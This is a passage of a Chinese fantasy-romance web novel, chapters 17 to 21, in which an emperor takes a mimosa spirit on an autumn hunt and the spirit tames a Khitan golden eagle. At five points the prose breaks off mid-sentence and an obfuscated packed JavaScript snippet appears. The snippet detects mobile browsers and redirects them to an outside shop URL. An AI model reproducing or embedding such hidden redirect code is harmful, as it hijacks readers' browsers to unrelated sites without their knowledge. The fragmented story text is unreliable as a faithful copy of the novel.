跪在地上的穆长安脸色都变了。 这些弑君夺权亡国的话是能这么直接说出来的吗? 他们这位圣主哪都好,就是这张嘴,太毒了些。 趁着萧厉喝茶水润嗓子的功夫,穆长安赶紧转移话题:“万岁,今年的秋狩,要不要换个围场或者延期?” “不用。”萧厉的眸子中闪过几分寒意,“皇叔若是老实本分,朕也不至于容不下他,可他非要做这种大逆不道的事,也就不怪朕不念血缘亲情了。” 哪怕明知道皇上不是冲着自己,穆长安还是被萧厉的语气激得打了个冷战。 冲龄即位,十六岁就逼得太后自尽国舅辞朝,穆长安非常清楚,他们万岁,可不是什么善茬。 “萧平那边准备的怎么样了?” “小王子已经准备好了,随时听从主子吩咐。” “很好,你去和萧平说,若是此事顺利,朕保他报仇雪恨,手刃仇敌。” 萧厉又跟穆长安吩咐类几句,就听外面传来轻微的敲门声:“万岁,叶昭卿到了。” “宣。” 萧厉眼神不自觉柔和了几分,把候在外面的太监叫进来,端点心的端点心,准备甜汤的准备甜汤。 一时间,御书房竟如同过年一样热闹了起来。 站在旁边的穆长安懵了。 这还是他们那个冷漠暴戾,杀伐果决的帝王吗?怎么跟带孩子的老妈子似的…… 这叶昭卿到底是何方神圣! 点心刚端上来,就见殿门一开,走进来一个美貌少年,刚进门就迫不及待地蹬掉靴子,光着脚三步两步跑到萧厉身边,拿起一块枣泥酥叼在嘴里,才囫囵不清地叫了一句:“皇上。” 最关键的是,皇上不仅没有申斥少年无礼,反而给他倒了杯甜茶:“慢点吃,没人跟你抢,急什么。” 穆长安再一次惊得话都说不出来了。 这这这对吗? 啊? 叶眠把枣泥糕吃完,才看到御书房有生人,登时脸就红了,拉着萧厉的袖子往暴君身后躲,还要分神克制头顶要往外冒的叶子。 萧厉冲穆长安摆摆手:“秋狩的事上点心,下去吧。” 秋狩? 叶眠歪了歪脑袋,凑到萧厉面前:“什么是秋狩?” “每年初秋,朕要巡幸塞外,秋游狩猎。”萧厉很自然地把叶眠揽到腿上,细细给他讲了秋狩的历史、举办时间以及对景朝的重要意义。 叶眠听得晕晕乎乎,但他很敏感地捕捉到了最关键的信息。 秋狩等于皇帝要离开京城,而且要去一个月。 一个月吸不到灵气,他的修为可全耽误了! 不行,他得跟着一块去。 想到这,叶眠立刻很乖巧地坐到塌上,主动拿出昨天还没写完的珠算题,抱着算盘噼里啪啦算起来。 萧厉诧异地看了叶眠一眼,随即勾起一抹了然的微笑。他也没戳穿叶眠的小心思,只是拿起笔继续批折子。 叶眠老老实实做了一下午珠算题,又抄了五页话本,这才捧着自己的功课走到萧厉旁边。 “皇上,我做完了,你看看?” 萧厉拿起珠算题随手翻了两页:“两个时辰,就做了这点?” 叶眠眼睛瞬间瞪圆了。 什么叫这点? 他写了足足三十道珠算题,很多了! 更何况他还抄了十页话本,是很努力的草了! 叶眠很想为自己辩驳两句,但是又怕萧厉生气不带自己去秋狩,只能忍气吞声:“那我明天再多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“他胡说的,含羞草清热安神消极解毒,是很好的草!”叶眠一下就着急了,跑到萧厉对面,“刘太医是庸医,你不要相信他。而且我可是大妖怪,带着我只有好处,说不定关键时刻还能救命呢。” 萧厉轻轻笑了一声。 可见是些日子按着叶眠抄书有成效,小含羞草现在都能说出庸医两个字了。 “行不行嘛,求求你了!”叶眠看萧厉不说话,以为他还不同意,干脆坐到脚踏上,把叶子变出来往萧厉手里塞,“叶子给你玩还不行嘛。” “怎么,贿赂朕?” 萧厉嘴上嫌弃,手却已经伸了过去,对着叶眠的叶子连摸带戳,弄得那两片叶子一会儿开一会儿合。 叶眠也被弄得满脸通红,好像有小虫子在身体里爬过来爬过去,又麻又痒,恨不能伸手使劲挠两下解痒,奈何有求于萧厉,只能卖叶求荣。 萧厉玩够了含羞草叶子,终于松口:“带你去也可以,去之前每天五十道珠算,再抄写十页书,不能全是话本,至少有三页论语。” 叶眠忍痛:“成交。” 18.第 18 章 “闹什么呢?” 萧厉刚走进蓬莱苑,就看到一地狼藉,小含羞草跟个十五六岁的小太监一人蹲一边,正往木箱子里死命塞一个玉石枕头。 叶眠听到身后的脚步声,转了个身,冲萧厉笑笑:“我们在收拾路上的行李呢。” 蹲在另一头的小亭子已经跪伏下去,嘴里说着请安的话。 萧厉摆摆手让小亭子出去,走到叶眠身边:“你的奴才呢,怎么还让你亲自收拾东西。” 叶眠嘟嘟嘴:“不想要那么多人,也不想让他们碰我的东西。” “矫情。”萧厉伸手给了叶眠一个爆栗,指着地毯上塞得合不上盖子的木箱,“后天就要出发了,怎么还没收拾好?” “我很努力了,但还是装不下。” 叶眠一屁股坐在地毯上:“殿中省的人说我只能带六个箱子,但这些箱子太小了,根本放不进去。” 萧厉扫了一眼木箱子,只见木箱子里装了一堆杂七杂八的东西,小到桌子上的玉石摆件,大到床上的鸳鸯锈枕,应有尽有。 他无语了半晌:“朕是去秋狩,不是迁都。” 叶眠迷茫地眨眨眼:“我知道啊。” 萧厉随便挑了个箱子,翻了翻,就翻出来一个喷红漆的足有一米长的木头板:“旁的也就罢了,这是什么?” “秋千呀,到了草原如果无聊的话,可以玩。” 萧厉:…… 他把木板拿出来放在一边,又从木箱子里掏出一件足有三四斤重的狐狸皮大氅:“你带这个干什么?” “苏公公说了,草原晚上会冷。” 萧厉:………… 他把狐皮大氅放回衣柜里,又从木箱子里拿出整整一大袋烤鱼干烤肉干,还有一摞烙饼。 “这又是什么?” “小亭子说了,路上可能会吃不好,带着干粮,有备无患。” 萧厉:……………… 小含羞草肯定不知道,路上会有御厨跟着,还有人专门负责送给养物资。 萧厉默默把六箱子东西倒出来,自从里面挑了有用的装进去。一番整理之后,东西刚刚好装了六个箱子。 “剩下的东西要么是用不上的,要么是殿中省有专人准备,你都不用带。” 叶眠看着整整齐齐的箱子,眼睛里的崇拜快溢出来了:“你真厉害!你不是皇帝吗,怎么也会收拾这些东西?” 萧厉垂下眼眸,脸上没什么表情。 他八岁登基之后,秋狩年年都去,太后把他当摆设,奴才们也轻慢,身边只有苏承恩一个得用的人,却也往往顾不过来。 所以他不得不万事都学着自己动手,小到整理行李,大到瞒着太后刻苦学习,组建自己的势力,最终一举推翻太后。 但是这些却不比和小含羞草说。 于是萧厉只是欣然接受了叶眠崇拜的眼神:“去的次数多了,自然就会了。” “说起来,我还没见过草原呢。”叶眠最近看了不少书,对人间也有了更深入的了解,“我不仅没见过草原,也没见过大海,雪山,还有江南水乡。” 叶眠说着抬起头看向萧厉:“我看话本上写,南方人出门都不是走路而是坐船,房子也都建在水上,是真的吗?” 萧厉原本凌厉的眼神变得柔和了几分,揉了把叶眠的头发:“一部分地方是的。以后有机会,我带你去看看?” “好啊!”叶眠腾地一下站起来,凑到萧厉身边,“那有机会我也要带你回招摇山,看会发光的花,还有吃一口就能一点都不饿的草。” 叶眠原本只是随口一说,萧厉的脸色却微微一变。 他不动声色地问道:“你们含羞草精,寿数几何?” “如果只是精怪的话,大概五百年左右,但如果成了大妖,寿数就无穷无尽。比如招摇山的迷谷爷爷,少说也活了上万年。” 萧厉心脏狠狠一沉。 上万年? 虽然大家都称呼他“万岁”,但他很清楚,凡人寿数不过几十年。 叶眠那么爱慕他,等他百年之后,叶眠又该如何自处? 他把叶眠抱在腿上:“你听过一句话,叫做人活七十古来稀吗?” “有一个话本好像写过这句话,意思是你们人族能活到七十岁就很不容易了。” 人族真的好脆弱哦。 几十年,迷谷爷爷随随便便修个枯树枝就过去了。 叶眠一边说一边在心里感慨。 “所以即使上天庇佑,让朕能得天年,朕也最多再陪你几十年。” 几十年,为什么要再陪他几十年,如果不出意外,再有几个月他就能吸满灵气,回到招摇山羽化成妖。 叶眠以为萧厉是嫌自己的寿命短,于是很仗义地拍了拍他的肩膀:“没关系,我的叶子寻常人吃了不说返老还童,也能百病全消益寿延年,等我成了大妖怪,送你一片。” 现在还不行,毕竟他现在只有八片叶子,每一片都很珍贵的。 叶眠以为萧厉会高兴,没想到帝王脸色骤变,疾言厉色:“你的叶子能延长寿命的事,你还跟别人说了没有?” 含羞草被萧厉的语气吓到了,缩了缩脖子,很老实地回答:“没,除了你之外,没人知道我是含羞草的。” 萧厉这才松了口气:“人心险恶,你千万不要把这件事告诉其他人。” “我知道的。” 他从招摇山出来的时候,迷谷爷爷也是这么嘱咐他的。 叶眠答应一声,就把萧厉从木箱子里扔出来的零嘴包裹拿起来,翻出一包牛肉干,抱在怀里慢慢啃。 看着无忧无虑的小含羞草,萧厉轻轻叹了口气。 浑身上下,没有一点像大妖怪。 罢了,左右还能陪小含羞草几十年。 想那么多做什么呢? * 两天一晃而过,很快到了启程的日子。 叶眠激动地一晚上没睡着,早早被小亭子喊起来,不到四更天就上了马车。 叶眠掀开车帷,好奇地打量着外面一眼看不到头的队伍:“这些都是去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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奴才们都在前后忙着伺候主子,没人注意到有一株含羞草正在迅速一动。 叶眠顺着队伍跑了小半个时辰,终于看到了一抹明黄色的车顶。 是萧厉的马车! 叶眠大喜过望,倒腾着根须快步跑过去,在接近马车的时候腾地网上一条,准确地落在了车辕上。 就是现在! 叶眠刚要顺着前窗挤进去,马车里忽然探出来一个白白胖胖的脑袋。 “这车上怎么还有根草啊,尚辇局的奴才办差事越发的对付了。” 苏承恩嘀嘀咕咕地从车里钻出来,随手把含羞草一揪就要往车下面扔。 还沉浸在即将要胜利的喜悦中的叶眠:!!! 救命啊! 有人杀草了! 19.第 19 章 八瓣圆滚滚的叶子咻地一下合上,苏承恩反倒是被吓了一跳。 “哎呦我的妈哎!” 他刚要下车,车帘被轻轻挑起,传来一道低沉的声音:“闹什么。” “回万岁,车辕上有根杂草,奴才这就去好好敲打敲打尚辇局的奴才。” 萧厉随意瞥了一眼,紧接着脸色就变了。 巴掌大的一株草,细细的茎上顶着八片叶子,不是叶眠的本体吗? “什么时候了,还有心情玩草?”萧厉瞪了苏承恩一眼,“还不把草放下,滚去传旨。” “是。” 苏承恩随手把草往旁边一扔,就要往马背上爬。 眼看小含羞草差点掉下车辕,萧厉气得脸都黑了。 “不许骑马,跑着去。” 苏承恩愕然地看着萧厉,根本不明白哪里又惹到这位祖宗了,但是也不敢顶嘴,只能拖着肥胖的身体,连跑带颠地往队伍前面去了。 苏承恩刚走,叶眠就被一只温热的大手拽进了马车里。 “出息了,还敢偷偷跑过来,你知不知道你差点就被发现了?就算侥幸不被发现,万一磕了碰了迷路了怎么办?” 萧厉声音虽然压的低,但气势很足,小含羞草被骂得叶子都不敢张开,过了好半天才弱弱地说:“可是我想来找你呀,我都在车上等了一个上午了,好无聊的。” 叶眠的声音软软糯糯,还因为心虚带了几分怯怯的颤音,萧厉的怒火被消了几分,但依然板着脸训:“还顶嘴,不知道派个奴才过来说一声吗?” “是小亭子不让我过来,他说我刚出发就来找你,容易被人说成恃宠生娇。”叶眠以前说一边用叶子尖尖蹭了蹭萧厉的手指,“但是我有点想你了。” 萧厉的心瞬间变得像泡在水里的发面馒头一样柔软,他轻轻碰了碰小含羞草的叶子:“谁敢胡说,朕立刻办了他。” “我也觉得,我明明就没有恃宠生娇。” 叶眠好歹也是读过不少话本的文化草了,恃宠生娇明明是形容皇帝的妻妾的,他是给萧厉治失眠的官,跟恃宠生娇没关系。 “你的马车好大啊!” 不像是马车,反倒像是一个能动的御书房,不仅有能写字的桌子,甚至屏风后面还有一张软榻。 萧厉任由叶眠蹦蹦跳跳在马车里逛了一圈,才从书桌上面翻出一个熟悉的算盘:“既然来了,也别闲着,今天珠算题还没做吧?” 叶眠一下就愣住了。 不是出来玩吗? 萧厉为什么还带着这把破算盘啊! 叶眠被气的说不出来话,叶子一合倒在屏风后面的榻上,假装自己是一株枯草。 “叶眠?”萧厉不满地叫了一声。 “叶眠被珠算题压垮了!” “装睡也没用,快起来做题!” 小含羞草抖了抖叶子,哼哼道:“皇上,你知道动物会冬眠吗?” 萧厉皱眉:“那跟你有什么关系?” “我们招摇山的含羞草精要夏眠的,所以我要睡了,你不要再叫我了。”叶眠晃着叶子尖,一本正经地说。 萧厉简直要被叶眠气笑了,伸手就去戳含羞草的叶子:“夏眠?朕看你用膳的时候比谁都精神。” 萧厉手指修长,两只手就把叶眠完全包了进去,小含羞草根本逃不掉,只能可怜兮兮地任由萧厉“蹂躏”他的叶子。 “不行了,好痒,你……你别弄了!” 弄到最后,叶眠连合上叶子的力气都没有了,蔫头耷脑地躺在萧厉的手心,根须还不时抽搐一下。 “陛下,穆统领那边有消息。” 萧厉神色一变,小心地把叶眠放在榻上,这才从屏风后面转出来:“进来。” 苏承恩满头大汗进了马车,从怀里拿出一个竹筒,双手递给萧厉。 萧厉打开竹筒,从里面拿出一张纸条,看了两眼,冷笑道:“皇叔还真是迫不及待。” 他把纸条塞回竹筒,随手抛给苏承恩:“老规矩,处理了。” “是。” 苏承恩刚要走,萧厉又开口道:“等等,去和叶昭卿的手下人说一声,朕让叶昭卿来马车上伺候了。” “叶昭卿?”苏承恩神色一愣,“奴才来的时候,没看见昭卿过来啊!” “怎么,朕传叶昭卿过来,还要问过你苏总管不成?” “奴才不敢,奴才这就去传旨。” 苏承恩讪笑着退下,萧厉这才转回到屏风后面。 叶眠不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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于是,叶眠立刻乖乖坐好,甚至主动拿起论语装模作样地看。 萧厉瞥他一眼:“别装了,到地方了。” 话音刚落,马车缓缓停了下来,叶眠慌忙穿好鞋子,跟在萧厉身后下车。 刚跳下马车,就见空地上乌泱泱跪了一帮穿着异族服装的男女,齐声道:“臣等拜见皇上,吾皇万岁万岁万万岁。” 叶眠浑身一抖,眼前发黑。 好多人啊。 他……他有点晕人。 20.第 20 章 “可汗不必多礼,平身吧。” 萧厉又恢复了往常威严的帝王模样,但手指却借着宽大袍袖的遮挡轻轻拍了拍叶眠的手背,示意小含羞草不用紧张。 叶眠也明白这是关乎景朝国威的大场面,千万不能出差错,于是强忍着用叶子把自己包起来的冲动,挺着胸脯地站在萧厉身后。 他可是正三品的大官,可不能给景朝丢脸。 * 休整了一下午后,契丹可汗在大帐设宴,款待景朝君臣。 “设宴款待,皇上去不就行了,我能不能不去啊。” 叶眠躲在自己帐篷的角落,满脸防备地看着来找他的苏承恩。 一想到要和那么多不认识的人吃饭,他就想刨个坑把自己埋起来。 外面那么多草,他要是变成原型躲进去,应该不会被发现吧? 要不他先把苏承恩忽悠走,然后变成含羞草就开溜? 苏承恩浮尘一摆,苦口婆心:“哎呦我的主子哎,契丹可汗的几位大妃也在,谁不去,您也不能不去啊,您可是万岁钦封的三品昭卿。” 叶眠没太听懂他和契丹可汗的大妃有什么关系,但是他听懂了后半句话。 他现在是三品昭卿,景朝的大官,如果不参加宴会,确实有点说不过去。 眼看叶眠的表情出现了几分松动,苏承恩立刻趁热打铁:“昭卿您闻到什么味没有?” 叶眠耸了耸鼻子,眼睛一亮。 “好香啊,还有点辣辣的,像烤羊肉串的味!” “奴才来的时候可看见了,今天晚上的宴会有烤全羊。” “烤全羊?” 羊肉串就已经很好吃了,叶眠不敢想烤一整只羊会有多好吃! 不就是跟不认识的人吃顿饭吗,左右他们也不吃含羞草。叶眠攥了攥拳头,目光坚毅:“我去。” 苏承恩喜笑颜开:“这就对了,小亭子,快伺候昭卿梳洗打扮。” * 既然决定参加宴会,肯定要穿好看的衣服。 叶眠从箱子里找出他最喜欢的绿云锦袍子,长长的头发在头顶挽了个髻,点缀上一支白玉簪子,腰上戴萧厉送他的春水秋山玉佩,手上脚上再随便带金银嵌宝石的链子就成了。 半个时辰之后,叶眠打扮得漂漂亮亮,很端正地坐在萧厉下手边第一个座位上。 穿着契丹服侍的年轻男女将一道道契丹菜肴端上来,叶眠面前的桌子很快就被摆满了。 小含羞草直勾勾地盯着桌子上的美味,又瞟了一眼还在和可汗交流契丹风土人情的萧厉。 都说了那么长时间了,先宣布开席再聊不行嘛! 似乎是感应到了小含羞草的不耐烦,萧厉不动声色地结束了他想再契丹和景朝边境开设茶马市场的想法,端起桌子上的马奶酒:“感谢可汗盛情款待,愿大景与契丹永结同好,百姓共享盛世。” 众人连忙站起来:“吾皇万岁万岁万万岁。” 随着一声开席,叶眠立刻端起了面前的奶茶,喝了一大口。 咸香的奶茶里混合着酥脆解腻的炒米和香气浓郁的奶皮子,后调还有一点点砖茶的回香,叶眠在宫里从来没喝过这么神奇的饮料,一口接一口,根本停不下来。 小亭子很有眼力劲地帮叶眠布菜,羊肉干麻辣咸香,特别有较劲,牛肉馅饼金黄酥脆,一口咬下去,充盈的汁水直接在嘴里爆开,手抓羊排炖得软烂脱骨,蘸着酱料别提有多好吃了。 虽然景朝的御厨手艺很高,但还是以精细炒菜为主,讲求荤素搭配,萧厉又怕小含羞草贪嘴把自己吃撑了,不许御膳房给蓬莱苑送太多荤菜,所以叶眠很少有机会能吃这么多肉。 作为肉食动物的小含羞草吃的开心极了,手链随着他的动作叮叮当当响。 牛羊肉,好! 契丹族,也好! 看着小含羞草捧着羊排大口啃,萧厉眼中露出了几分笑意,抬手吩咐苏承恩把叶眠桌上的马奶酒换掉。 契丹可汗哈哈一笑:“皇上还真是疼惜美人。” 萧厉浅笑着摇摇头:“朕的昭卿年龄小,总要多看顾着,哪里比得上可汗的几位大妃。” 叶眠才反应过来萧厉好像在和可汗介绍他,慌忙放下羊排,红着脸冲可汗笑了笑。 可汗脸上依旧带着笑容,但眼底却闪过几分冷意。 虽说这个少年确实很漂亮,但也不过是个男宠,连正经妃子都算不上,也能跟他的正妻比? 景朝皇帝未免太不把他们契丹放在眼里了! 叶眠完全不知道可汗的心思,他一边啃羊排,一边偷偷瞟外面草地上滋滋冒油的烤全羊。 这一口咬下去,得多香啊! 叶眠咽了咽口水,赶紧喝了一大口奶茶压压馋劲儿。 没过一会儿,几个穿着契丹服侍的女子走到烤全羊旁边,每个人手里都拿着刀和盘子。 烤全羊好了! 叶眠激动地直搓手。 快切快切,他要吃烤全羊。 在叶眠期待的目光里,领头的侍女拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16039895|177737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起刀,刀尖刚碰到羊肉,忽然,契丹可汗从座位上站起来,冲着帐外使了个眼色。 侍女立刻收回刀,默契地回到了原位。 叶眠像被天雷劈中了一样愣在了原地。 为什么不切了! 他的烤全羊! 可汗冲萧厉拱拱手:“景朝是天朝大国,能人辈出,臣最近遇到了一件棘手的难题,想求助陛下。” 萧厉面色如常:“可汗请讲。” 叶眠在下面急得直跺脚。 什么棘手的难题,就不能吃了烤全羊再讲吗。 还有什么比吃饭更重要的事情啊! 可汗拍拍手,两名精壮的契丹男子抬着一个大铁笼走到帐篷外的空地上,铁笼里赫然是只体长足有一米的金雕。 金雕身上虽然带了不少伤,一双眼睛却含着狠厉的光芒,铁钩子一样的喙不停地击打着铁笼子,发出沉闷的响声,可见是拼着同归于尽,也不会被驯服。 铁笼子外面的钢筋每一根都有鸡卵粗细,门上更是上着两把铁锁,可见契丹有多怕这只金雕撞破铁笼。 景朝君臣还是第一次见到这种野性十足的巨型猛禽,不由得从座位上站起来,倒吸了一口凉气。 只有叶眠没什么反应。 别说上古异兽凤凰和鲲鹏了,就连景山的酸与都有几十米长,金雕在叶眠眼里,就是个小家雀。 唯一还算看得过去的,也就是它身上那丝少的近乎没有的大鹏金翅雕血脉了。 叶眠兴致缺缺,只看了一眼,目光就回到了烤全羊身上。 可汗走到铁笼旁边,指着里面的金雕:“皇上,这是臣的部下前几日狩猎所得,臣原本想驯服了帮臣捕狼,这金雕体型巨大,手下的人都不能降服,臣不得以,才来求助陛下。” 可汗满面愁容,好像真的是在位这只没被驯服的金雕发愁一样,但眼睛里闪烁的狡黠笑意却将他出卖的彻底。 萧厉表情凝重,眉头微皱。 他当然明白可汗的深意,借着训鹰想给他们一个下马威。 景朝虽然地大物博,能人辈出,但训鹰原本就是契丹擅长的,让他立刻找个能训鹰的人来,还真有些难办。 萧厉的眼中泛起了几分寒意。 上次打契丹还是几年前的事,契丹这是又开始蠢蠢欲动了。 但不管怎么说,在契丹的地盘,萧厉不能跟可汗翻脸,正打算说几句场面话圆过去,就听下面传出来一道软糯的少年音:“皇上,不就是驯个雀儿吗,我来。” 21.第 21 章 众人的视线瞬间集中在叶眠身上。 叶眠从来没成为过这么多人视线的焦点,顿时有些发慌。 含羞草最不喜欢当众出风头,原本没打算管这件事,但眼看着不解决这只雀儿,可汗是不会让人上继续上菜,为了烤全羊,叶眠不得不出手了。 他强撑着走到帐篷中间,冲萧厉行礼:“皇上,您让我试试吧。” “不许胡闹。”萧厉瞪了叶眠一眼。 契丹可汗扫了一眼叶眠锦袍下盈盈一握的细腰,倏地笑了:“昭卿,这可不是什么雀,你这细细的胳膊,被金雕啄一口,可不是闹着玩的。” 叶眠还是不太敢和陌生人说话,只能礼貌地朝可汗笑笑,走到萧厉身边,小小声说:“你就让我试试吧,我真的可以。” 萧厉板着脸刚要开骂,却看见了叶眠分外认真执着的眼神。 帝王想起含羞草帮他治梦魇的场景,心念一动:“你真的有把握?” “真的,你放心吧。” “好,既然这样,就去试试,切忌不能逞强。” 叶眠使劲点头:“放心吧。” 他蹦跳着跑出帐篷,手上和脚上的宝石也发出清脆悦耳的叮当声。 “把笼子打开吧。” 笼子旁边那俩契丹大汉直接蒙圈了。 “直接打开?” “不行的,这个鹰还没驯服,很凶恶。” 叶眠抿抿嘴唇:“没事,你们……你们就打开就行。” 契丹汉子求助地看向可汗。 可汗微微沉吟:“陛下,您看……” 萧厉一摆手,不多时,穆长安为首的十几名御林军将铁笼子团团围住,每个人手里,都擎着一把弩箭,只要金雕有任何异动,就立即射杀。 “打开吧。” 随着萧厉一声令下,两名契丹男子小心翼翼地解开两道铁锁,而后迅速退到一旁。 铁笼里的金雕愣了片刻,一双眸子中射出凶狠的精芒,一声嘶吼展翅而出。 萧厉面色一紧,围在笼子旁边的御林军也都握紧了弓箭。 就在金雕冲向叶眠的刹那,叶眠不慌不忙地从袖口里拿出了一个小瓷瓶,冲金雕晃了晃。 金雕狠厉的眼神变得有些疑惑,脑袋歪了歪,似乎在努力分析瓷瓶里到底有什么。 叶眠微微一笑,锦袍一摆,从瓷瓶里小心地拿出一小撮他掉得叶子碾成的粉末,随手一扬。下一刻,就见金雕倏地展翅飞起,顺着叶眠手指划过的轨迹飞了好几圈,才意犹未尽地停在叶眠面前。 “想要吗?”叶眠指指自己的肩膀,小声冲金雕说,“跟着我,每天都有。” 金雕想都没想,一声长鸣飞上了叶眠的肩膀。 众人都懵了。 因为离得远,叶眠穿的锦袍袖子又宽大,在众人眼里就是叶眠只轻轻挥挥手,原本异常凶狠的金雕便无缘无故地臣服于他,甚至尖锐的眼睛里还露出了谄媚。 这这这对吗? 可汗咳嗽一声,强自挽尊:“说不定只是巧合……” 叶眠也不反驳,手臂微微一动,说了声“去”,金雕就倏地腾空而起,在天上盘旋了好几圈,直到叶眠冲它招招手,才回到叶眠的手臂上。 一阵微风拂过,叶眠的锦袍随着风微微摆动,头顶的玉簪也叮铃铃直响。 广袤的草原,灵动的美人,威猛的金雕…… 萧厉不由得看痴了。 他几乎能听到自己扑通扑通的心跳声,恨不得现在就抱住叶眠,把他狠狠揉进怀里。 叶眠揉了揉金雕的脑袋,轻声说了些什么,金雕就很听话地飞回了笼子里,一点都不闹。 小含羞草抖了抖胳膊上的浮灰,几步跑到萧厉跟前:“已经驯好了。” “好,好!”萧厉抚掌大笑,“这金雕虽说是草原的霸主,但还是臣服于朕的昭卿啊。” 契丹可汗听了这话,脸登时黑得像三个月没刷的锅底似的,但还得挤出一个笑:“景朝真是人才济济,佩服佩服。” “叶卿驯服金雕,当赏!” 叶眠看了看笼子里乖巧如鸡的金雕:“皇上,您要是真想赏我,就把这只金雕送我吧。” “这个嘛……”萧厉扫了一眼契丹可汗,“还要看可汗能不能忍痛割爱。” 金雕难猎,契丹可汗是真舍不得,但他更知道金雕已经认了叶眠做主人,就不会再认旁人,只能装作大方:“既然昭卿驯服了金雕,那契丹就把金雕赠与昭卿,愿契丹与景朝永结同好,共享太平。” 众人举杯,觥筹交错,随着可汗一声令下,压轴菜烤全羊被端了上来。 叶眠迫不及待地夹了一大块。 羊肉的油脂配合着咸香与孜然的香味,在嘴里爆开,叶眠享受得两只眼睛都眯成了缝,一块接一块往嘴里塞。 金雕这会也不在笼子里待着了,悄咪咪蹭到叶眠身边,偶尔用脑袋蹭蹭叶眠的腿。 叶眠知道金雕这是在汲取自己身上的妖气,也就随它去了。 晚宴后,叶眠回到自己的帐篷,给金雕处理伤口。 金雕知道叶眠是在救他,很老实地蹲在地上,任由叶眠往他伤口上撒含羞草叶粉。 含羞草原本就能消炎镇痛,更何况叶眠还是修炼了三百年的含羞草精,叶子药效更加出众。含羞草叶粉撒在金雕伤口上没一会儿,伤口就开始结痂了。 叶眠摸摸金雕的脑袋,刚打算换衣服,帐篷外忽然传来了苏承恩的声音:“昭卿,皇上传您过去。” 叶眠看了眼守在旁边的金雕,有点为难地皱皱眉,过了好半天才慢吞吞答应了一声,跟着苏承恩去了御帐。 * “皇上。”叶眠走进帐篷,刚要行礼,就被萧厉拉进了怀里。 “等一下!” 叶眠话音未落,萧厉的吻就已经落了下来。 然而,还没等萧厉碰到小含羞草的嘴唇,帐帘忽然被撞开了,巨大的金雕耸着肩,鬼鬼祟祟地跺进来,一双鹰眼散发着睿智的光芒。 萧厉面色一变,声音发冷:“它怎么跟来了?” 叶眠有点不好意思地挠了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16046671|177737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挠头发:“他现在有点粘我,可能今晚您得将就一下,咱们三个一起睡。” 萧厉满脸莫名其妙:“一个畜生,居然放进帐篷里,成何体统!” “你听我解释,他不是一般的金雕,他身上有一成大鹏金翅雕的血脉。” 叶眠一边说,一边摸了摸金雕的脑袋,金雕就好像能听懂叶眠说话一样,昂首挺胸地叫了两声。 “大鹏金翅雕?既然是妖族血脉,怎么会出现在凡间。” 叶眠撇撇嘴:“大鹏金翅雕是出了名的花心,经常偷偷跑到人间不说,还四处留情,连没开化的金雕都不放过,生了蛋又不管,所以人间才会出现大鹏血脉。” 萧厉用折扇挑起金雕的下巴看了两眼:“所以它能化形吗?若是不能,不还是个畜生?” 金雕气得嗷一嗓子,就要哚萧厉的手。 “你不要瞎说,他能听懂的。”叶眠瞪了萧厉一眼,轻声哄了金雕两句,这才解释,“他的大鹏血脉太少,凡间灵气也不充足,原本一辈子就是个聪明点的雀儿,不可能得道化形。但是他遇见了我。” 叶眠骄傲地挺了挺胸脯:“我好歹也是马上要成为大妖怪的草,身上的灵力是很充足的,只要他经常待在我身边,日积月累,修为自然会有所进益。等以后我再带他回招摇山,化形也是指日可待。” 他可真是棵善良的好草! 叶眠默默在心里为自己竖了个大拇指。 萧厉却皱了眉头:“你要回招摇山?什么时候回去?” 叶眠神色一紧,干笑了两声:“啊,我就随口一说,以后找时间回去。” 他总不能说自己是打算吸满了萧厉的灵气就回去吧。 萧厉怀疑地眯起眼睛:“真的?” “真的。”叶眠使劲点头,做出一副无比真诚的表情。 萧厉扫了叶眠几眼,没看出什么破绽,这才道:“但愿你没骗朕。” 叶眠长舒了一口气。 吓死草了! 为了防止萧厉再想起这个话题,叶眠拉着萧厉的手就往床上引:“皇上,时辰不早了,咱们睡觉吧。” 萧厉皱眉瞟了眼站在旁边梳理羽毛的金雕:“它必须要待在这?” “皇上。”叶眠勾了勾萧厉的手指,声音软乎乎的,“你要是嫌弃他,我就只能带他回去睡了。” 萧厉气得胸口疼,又不舍得骂含羞草,只能恶狠狠瞪了金雕一眼:“要是敢吵到朕睡觉,明天就把你送汤锅。” 叶眠脸上露出了两个小酒窝,得寸进尺:“皇上,你给金雕起个名字吧。” “一只畜生,还要让朕赐名?” “都说了不是畜生,是和我一样,未来能化形的精怪。”叶眠搂着萧厉的脖子,拉长了声音,“皇上,求求你了。” 